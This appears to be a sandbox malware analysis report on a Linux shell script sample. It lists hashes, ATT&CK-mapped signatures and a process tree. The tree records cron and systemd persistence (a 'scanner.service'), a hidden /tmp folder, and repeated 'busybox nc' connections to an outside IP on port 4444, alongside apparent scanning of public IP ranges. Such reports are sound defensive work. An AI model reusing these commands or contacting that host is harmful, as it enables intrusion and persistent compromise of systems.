e69cad1fc4f37b152dec7c2c8c80b9516ff10a28a04041fdeb0294bd8f0dbf78

Analysis

max time kernel
15s
max time network
12s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25/07/2026, 22:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e69cad1fc4f37b152dec7c2c8c80b9516ff10a28a04041fdeb0294bd8f0dbf78.sh
Size 9KB
Sample260725-11wt3svscy
SHA256 e69cad1fc4f37b152dec7c2c8c80b9516ff10a28a04041fdeb0294bd8f0dbf78
MD5 351daac6ec97ffddb26b8e2d86360377
SHA1 2483acd76189628741372b41a3f0c7c354bc32ec
SHA512 60143b731743d6e6f3014b2a253b1fc3fda3871466961af6a5825e7c6ae153cdabf95ea9697d5c80be804698e4c98230f971475b585a18a04cf6690955870b67
SSDEEP 192:8WEPNWcD9Ck0hXmtnTtxLKkT+2Kq801HzZ69UkOaWF+HKmciGSOSo2aH9AZIkw:8xP8ClXtTtxL3yzItbkUF+FciG1S4
TLSH
T1132276E1F8A0DD38378DC03EA44E9581354F142B05492C68B59FE4646F7D6A4A3BC7FA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.WwDPRf	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.EoBI3c	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/scanner.service	e69cad1fc4f37b152dec7c2c8c80b9516ff10a28a04041fdeb0294bd8f0dbf78.sh

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/14/cmdline	pgrep
File opened for reading	/proc/645/status	pgrep
File opened for reading	/proc/639/status	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/28/cmdline	pgrep
File opened for reading	/proc/571/status	pgrep
File opened for reading	/proc/642/status	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/21/status	pgrep
File opened for reading	/proc/319/cmdline	pgrep
File opened for reading	/proc/1/cmdline	pgrep
File opened for reading	/proc/111/status	pgrep
File opened for reading	/proc/709/status	pgrep
File opened for reading	/proc/571/cmdline	pgrep
File opened for reading	/proc/593/cmdline	pgrep
File opened for reading	/proc/707/cmdline	pgrep
File opened for reading	/proc/8/status	pgrep
File opened for reading	/proc/42/cmdline	pgrep
File opened for reading	/proc/174/status	pgrep
File opened for reading	/proc/295/cmdline	pgrep
File opened for reading	/proc/13/cmdline	pgrep
File opened for reading	/proc/317/cmdline	pgrep
File opened for reading	/proc/731/status	pgrep
File opened for reading	/proc/3/status	pgrep
File opened for reading	/proc/141/status	pgrep
File opened for reading	/proc/226/status	pgrep
File opened for reading	/proc/594/cmdline	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/13/status	pgrep
File opened for reading	/proc/41/cmdline	pgrep
File opened for reading	/proc/114/cmdline	pgrep
File opened for reading	/proc/5/status	pgrep
File opened for reading	/proc/17/status	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/43/status	pgrep
File opened for reading	/proc/636/status	pgrep
File opened for reading	/proc/709/cmdline	pgrep
File opened for reading	/proc/16/status	pgrep
File opened for reading	/proc/28/cmdline	pgrep
File opened for reading	/proc/103/cmdline	pgrep
File opened for reading	/proc/143/status	pgrep
File opened for reading	/proc/226/cmdline	pgrep
File opened for reading	/proc/27/cmdline	pgrep
File opened for reading	/proc/43/status	pgrep
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/20/status	pgrep
File opened for reading	/proc/20/cmdline	pgrep
File opened for reading	/proc/25/status	pgrep
File opened for reading	/proc/28/status	pgrep
File opened for reading	/proc/317/status	pgrep
File opened for reading	/proc/331/status	pgrep
File opened for reading	/proc/636/cmdline	pgrep
File opened for reading	/proc/691/cmdline	pgrep
File opened for reading	/proc/7/status	pgrep
File opened for reading	/proc/317/status	pgrep
File opened for reading	/proc/319/status	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/593/cmdline	pgrep
File opened for reading	/proc/12/cmdline	pgrep
File opened for reading	/proc/15/status	pgrep
File opened for reading	/proc/324/status	pgrep
File opened for reading	/proc/648/cmdline	pgrep

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
656	ip

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/persistence_installed	touch

/tmp/e69cad1fc4f37b152dec7c2c8c80b9516ff10a28a04041fdeb0294bd8f0dbf78.sh
/tmp/e69cad1fc4f37b152dec7c2c8c80b9516ff10a28a04041fdeb0294bd8f0dbf78.sh
1⤵
- Modifies systemd
PID:648
- /bin/mkdir
  mkdir -p /tmp/.systemd
  2⤵
  PID:650
- /sbin/ip
  ip route get 1
  2⤵
  - System Network Configuration Discovery
  PID:656
- /usr/bin/awk
  awk "{print \$NF;exit}"
  2⤵
  PID:657
- /usr/bin/md5sum
  md5sum
  2⤵
  PID:669
- /usr/bin/cut
  cut -c1-8
  2⤵
  PID:670
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:676
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:675
- /bin/grep
  grep -v scanner.sh
  2⤵
  PID:677
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:682
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:684
- /bin/grep
  grep -v scanner.sh
  2⤵
  PID:685
- /bin/cat
  cat
  2⤵
  PID:687
- /bin/systemctl
  systemctl enable scanner.service
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:689
- /bin/systemctl
  systemctl start scanner.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:706
- /usr/bin/touch
  touch /tmp/persistence_installed
  2⤵
  - Writes file to tmp directory
  PID:710
- /bin/grep
  grep -q nc
  2⤵
  PID:712
- /bin/busybox
  busybox --list
  2⤵
  PID:711
- /bin/busybox
  busybox nc 147.185.242.125 4444
  2⤵
  PID:714
- /usr/bin/pgrep
  pgrep -f scan_loop
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:717
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:722
- /bin/busybox
  busybox nc 147.185.242.125 4444
  2⤵
  PID:724
- /bin/sleep
  sleep 0.01
  2⤵
  PID:725
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:728
- /bin/sleep
  sleep 0.01
  2⤵
  PID:729
- /usr/bin/pgrep
  pgrep -f report_loop
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:731
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:734
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:737
- /bin/sleep
  sleep 0.01
  2⤵
  PID:738
- /bin/sleep
  sleep 0.01
  2⤵
  PID:740
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:747
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:750
- /bin/sleep
  sleep 25
  2⤵
  PID:751
- /bin/sleep
  sleep 0.01
  2⤵
  PID:758
- /bin/sleep
  sleep 0.01
  2⤵
  PID:759
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:777
- /bin/busybox
  busybox nc 147.185.242.125 4444
  2⤵
  PID:781
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:788
- /bin/busybox
  busybox nc 147.185.242.125 4444
  2⤵
  PID:786
- /bin/sleep
  sleep 0.01
  2⤵
  PID:793
- /bin/sleep
  sleep 0.01
  2⤵
  PID:799
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:807
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:812
- /bin/sleep
  sleep 0.01
  2⤵
  PID:831
- /bin/sleep
  sleep 0.01
  2⤵
  PID:835
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:848
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:850
- /bin/sleep
  sleep 60
  2⤵
  PID:855
- /bin/sleep
  sleep 25
  2⤵
  PID:859
- /bin/sleep
  sleep 0.01
  2⤵
  PID:862
- /bin/sleep
  sleep 0.01
  2⤵
  PID:863
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:876
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:878
- /bin/sleep
  sleep 0.01
  2⤵
  PID:890
- /bin/sleep
  sleep 0.01
  2⤵
  PID:891
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:905
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:909
- /bin/sleep
  sleep 0.01
  2⤵
  PID:920
- /bin/sleep
  sleep 0.01
  2⤵
  PID:919
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:932
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:934
- /bin/sleep
  sleep 0.01
  2⤵
  PID:947
- /bin/sleep
  sleep 0.01
  2⤵
  PID:948
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:960
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:962
- /bin/sleep
  sleep 0.01
  2⤵
  PID:973
- /bin/sleep
  sleep 0.01
  2⤵
  PID:974
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:986
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:988
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1002
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1003
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1017
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1015
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1028
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1027
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1043
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1045
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1056
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1055
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1068
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1070
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1080
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1081
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1093
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1097
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1106
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1107
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1120
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1122
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1132
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1135
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1147
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1149
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1160
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1161
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1177
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1175
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1189
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1192
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1203
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1205
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1219
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1218
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1232
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1234
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1245
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1244
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1257
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1259
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1272
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1273
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1287
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1289
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1300
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1301
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1315
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1317
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1326
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1328
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1340
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1342
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1354
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1353
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1368
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1370
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1382
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1383
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1397
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1399
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1411
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1412
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1425
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1427
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1440
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1441
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1453
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1455
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1469
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1470
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1484
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1482
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1495
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1496
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1510
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1512
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1524
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1526
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1538
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1540
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1551
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1552
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1566
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1568
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1584
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1585
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1597
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1599
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1611
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1612
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1625
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1627
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1637
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1640
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1653
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1656
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1670
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1671
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1685
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1687
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1698
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1697
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1712
- /bin/grep
  grep -qE "^(10\\.|192\\.168\\.|127\\.|172\\.1[6-9]\\.|172\\.2[0-9]\\.|172\\.3[0-1]\\.|0\\.|255\\.|224\\.|169\\.254\\.)"
  2⤵
  PID:1714
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1726
- /bin/sleep
  sleep 0.01
  2⤵
  PID:1727
- /bin/grep
